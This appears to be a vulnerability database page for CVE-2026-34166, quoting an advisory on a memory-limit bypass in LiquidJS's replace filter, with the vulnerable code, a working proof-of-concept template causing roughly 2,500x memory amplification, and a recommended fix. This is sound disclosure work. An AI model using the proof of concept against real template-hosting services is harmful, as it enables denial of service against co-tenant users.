Answer in brief
CVE-2026-34166 records a Low severity (CVSS 3.7) vulnerability in LiquidJS Has Memory Limit Bypass via Quadratic Amplification in `replace` Filter. The current sources do not mark it as known exploited. The current feed maps liquidjs (npm). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 3.7. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps liquidjs (npm). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| liquidjsnpm | >=0 <10.25.3 | 10.25.3 |
Published upstream
Apr 8, 2026
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Sep 10, 2026
## Summary The `replace` filter in LiquidJS incorrectly accounts for memory usage when the `memoryLimit` option is enabled. It charges `str.length + pattern.length + replacement.length` bytes to the memory limiter, but the actual output from `str.split(pattern).join(replacement)` can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the `memoryLimit` DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. ## Details The vulnerable code is in `src/filters/string.ts:137-142`: ```typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) this.context.memoryLimit.use(str.length + pattern.length + replacement.length) // BUG: accounts for inputs, not output return str.split(pattern).join(replacement) // actual output can be quadratically larger } ``` The `memoryLimit.use()` call charges only the sum of the three input lengths. However, the `str.split(pattern).join(replacement)` operation produces output of size: ``` (number_of_occurrences * replacement.length) + non_matching_characters ``` When every character in `str` matches `pattern` (e.g., `str` = 5,000 `a`s, `pattern` = `a`), there are 5,000 occurrences. With a 5,000-character replacement string, the output is `5000 * 5000 = 25,000,000` characters, while only `5000 + 1 + 5000 = 10,001` bytes are charged to the limiter. The `Limiter` class at `src/util/limiter.ts:3-22` is a simple accumulator — it only checks at the time `use()` is called and has no post-hoc validation of actual memory allocated. The `memoryLimit` option defaults to `Infinity` (`src/liquid-options.ts:198`), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input. ## PoC ```javascript const { Liquid } = require('liquidjs'); // User explicitly enables memoryLimit for DoS protection (10MB) const engine = new Liquid({ memoryLimit: 1e7 }); const inputLen = 5000; const aStr = 'a'.repeat(inputLen); const bStr = 'b'.repeat(inputLen); // Template that should be blocked by 10MB memory limit const tpl = engine.parse( `{%- assign s = "${aStr}" -%}` + `{%- assign r = "${bStr}" -%}` + `{{ s | replace: "a", r }}` ); // This should throw "memory alloc limit exceeded" but succeeds const result = engine.renderSync(tpl); console.log('Memory limit: 10,000,000 bytes'); console.log('Memory charged:', 10001, 'bytes'); console.log('Actual output:', result.length, 'bytes'); // 25,000,000 bytes console.log('Amplification:', Math.round(result.length / 10001) + 'x'); // Output: Amplification: 2500x — completely bypasses the 10MB limit ``` ## Impact Users who deploy LiquidJS with `memoryLimit` enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the `replace` filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing: - Node.js process out-of-memory crashes - Denial of service for co-tenant users on the same process - Resource exhaustion on the hosting infrastructure The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (`memoryLimit` enabled) and template authoring access. ## Recommended Fix Account for the actual output size in the memory limiter by calculating the number of occurrences: ```typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) const parts = str.split(pattern) const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length) this.context.memoryLimit.use(outputSize) return parts.join(replacement) } ``` This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The `split()` result is reused to avoid computing it twice.
Quoted source text, attributed separately from HOL analysis.